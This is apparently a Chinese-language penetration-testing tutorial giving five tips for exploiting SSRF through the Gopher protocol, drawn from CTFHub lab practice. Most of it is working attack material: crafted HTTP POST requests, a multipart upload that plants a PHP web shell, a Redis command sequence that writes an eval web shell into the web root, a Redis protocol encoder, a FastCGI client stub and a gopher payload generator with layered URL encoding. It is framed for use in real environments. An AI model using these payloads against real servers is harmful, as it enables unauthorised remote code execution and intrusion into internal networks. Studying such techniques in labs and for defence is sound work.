实战中Gopher协议利用的5个关键避坑指南
在渗透测试和红队评估中,服务器端请求伪造(SSRF)漏洞的利用往往能打开内网渗透的大门。而Gopher协议作为SSRF中最强大的武器之一,其灵活性和杀伤力让安全研究人员又爱又恨。本文将分享从CTFHub SSRF靶场实战中提炼出的5个关键技巧,帮助你在真实环境中高效利用Gopher协议。
1. 理解Gopher协议的本质
Gopher是一种比HTTP更古老的协议,但正是这种"原始性"赋予了它在SSRF中的独特价值。与HTTP不同,Gopher协议允许我们构造几乎任意的TCP流量,这使得它成为攻击内网服务的理想选择。
Gopher协议的核心特点:
- 基于TCP的简单文本协议
- 默认使用70端口(但可以指定任意端口)
- 请求格式:
gopher://<host>:<port>/_<TCP数据>
在PHP环境中,当curl支持Gopher协议时,我们可以利用它来构造各种协议的请求,包括:
- HTTP/HTTPS
- Redis
- FastCGI
- SMTP
- 以及各种自定义协议
提示:检查目标是否支持Gopher协议的最简单方法是尝试
gopher://URL。如果返回错误而非协议不支持,则很可能存在利用可能。
2. POST请求构造的三大陷阱
构造HTTP POST请求是Gopher利用中最常见的场景之一,也是最容易出错的地方。以下是实战中总结的三个关键点:
2.1 换行符的编码差异
HTTP协议要求头部以\r\n(CRLF)作为行结束符,但不同系统对换行符的处理可能不同:
POST /flag.php HTTP/1.1\r\n Host: 127.0.0.1:80\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 36\r\n \r\n key=8a6d748f4f820709cd9e444991d49dd0常见错误:
- 只编码
\n(LF)而忽略\r(CR) - 在不同操作系统上使用不同的换行符
解决方案:
# 确保使用正确的CRLF换行 request = "POST /flag.php HTTP/1.1\r\n" request += "Host: 127.0.0.1:80\r\n" request += "..."2.2 Content-Length的精确计算
Content-Length必须与POST body的实际长度完全一致,否则服务器可能拒绝请求或返回错误响应。
计算技巧:
body = "key=8a6d748f4f820709cd9e444991d49dd0" content_length = len(body) headers += f"Content-Length: {content_length}\r\n"2.3 URL编码的层级问题
Gopher请求通常需要多层URL编码,具体取决于请求的传递方式:
| 编码层级 | 场景示例 |
|---|---|
| 1层编码 | 直接Gopher请求 |
| 2层编码 | 通过一次URL参数传递 |
| 3层编码 | 通过两次URL参数传递 |
编码示例:
import urllib.parse # 原始请求 request = "POST /flag.php HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" # 第一次编码 encoded1 = urllib.parse.quote(request) # 第二次编码 encoded2 = urllib.parse.quote(encoded1)3. 文件上传的特殊处理
当需要利用Gopher协议上传文件时,传统的参数传递方式会失效,因为文件大小无法通过简单参数伪造。以下是实战验证的有效方法:
3.1 构造完整的多部分表单
POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE3ar268swYQeTYZs Content-Length: 328 ------WebKitFormBoundaryE3ar268swYQeTYZs Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: application/octet-stream <?php echo system($_GET['cmd']); ?> ------WebKitFormBoundaryE3ar268swYQeTYZs--3.2 确保文件内容不为空
空文件通常会被服务器拒绝,因此务必在文件中包含有效内容,哪怕只是一个空格。
3.3 精确计算Content-Length
多部分表单的Content-Length计算较为复杂,建议:
- 先构造完整的请求
- 使用工具(如Burp Suite)捕获正确请求
- 提取Content-Length值
4. 非HTTP协议的利用技巧
Gopher的强大之处在于它能用于各种协议,以下是两个典型案例:
4.1 攻击Redis服务
redis_cmd = """ flushall set 1 '<?php eval($_GET["cmd"]);?>' config set dir /var/www/html config set dbfilename shell.php save """ # 转换为Redis协议格式 def build_redis_proto(cmd): parts = cmd.split(' ') proto = f"*{len(parts)}\r\n" for part in parts: proto += f"${len(part)}\r\n{part}\r\n" return proto redis_payload = "".join(build_redis_proto(cmd) for cmd in redis_cmd.split('\n') if cmd)4.2 攻击FastCGI
FastCGI攻击需要构造二进制协议,通常使用现成工具生成payload:
# 示例FastCGI客户端代码片段 class FastCGIClient: def __init__(self, host, port): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((host, port)) def request(self, params, post_data): # 构造FastCGI请求 # ... return self.sock.recv(4096)5. 编码与传输的优化策略
5.1 自动化编码工具
手动编码容易出错,建议使用脚本自动化处理:
def gopher_payload(host, port, data, encode_times=2): payload = f"gopher://{host}:{port}/_" encoded = data for _ in range(encode_times): encoded = urllib.parse.quote(encoded) return payload + encoded5.2 分块传输技巧
对于大型payload,可以考虑分块传输:
POST /upload.php HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked 5 Hello 6 World 05.3 错误排查清单
当Gopher攻击不成功时,检查以下方面:
- 换行符是否正确(CRLF)
- Content-Length是否精确
- URL编码层级是否正确
- 目标服务是否真正监听指定端口
- 防火墙是否拦截了请求
掌握这些技巧后,Gopher协议将成为你SSRF武器库中最强大的工具之一。记住,在实战中,耐心和细致往往比复杂的技巧更重要。每个环境都有其独特性,灵活调整策略才是成功的关键。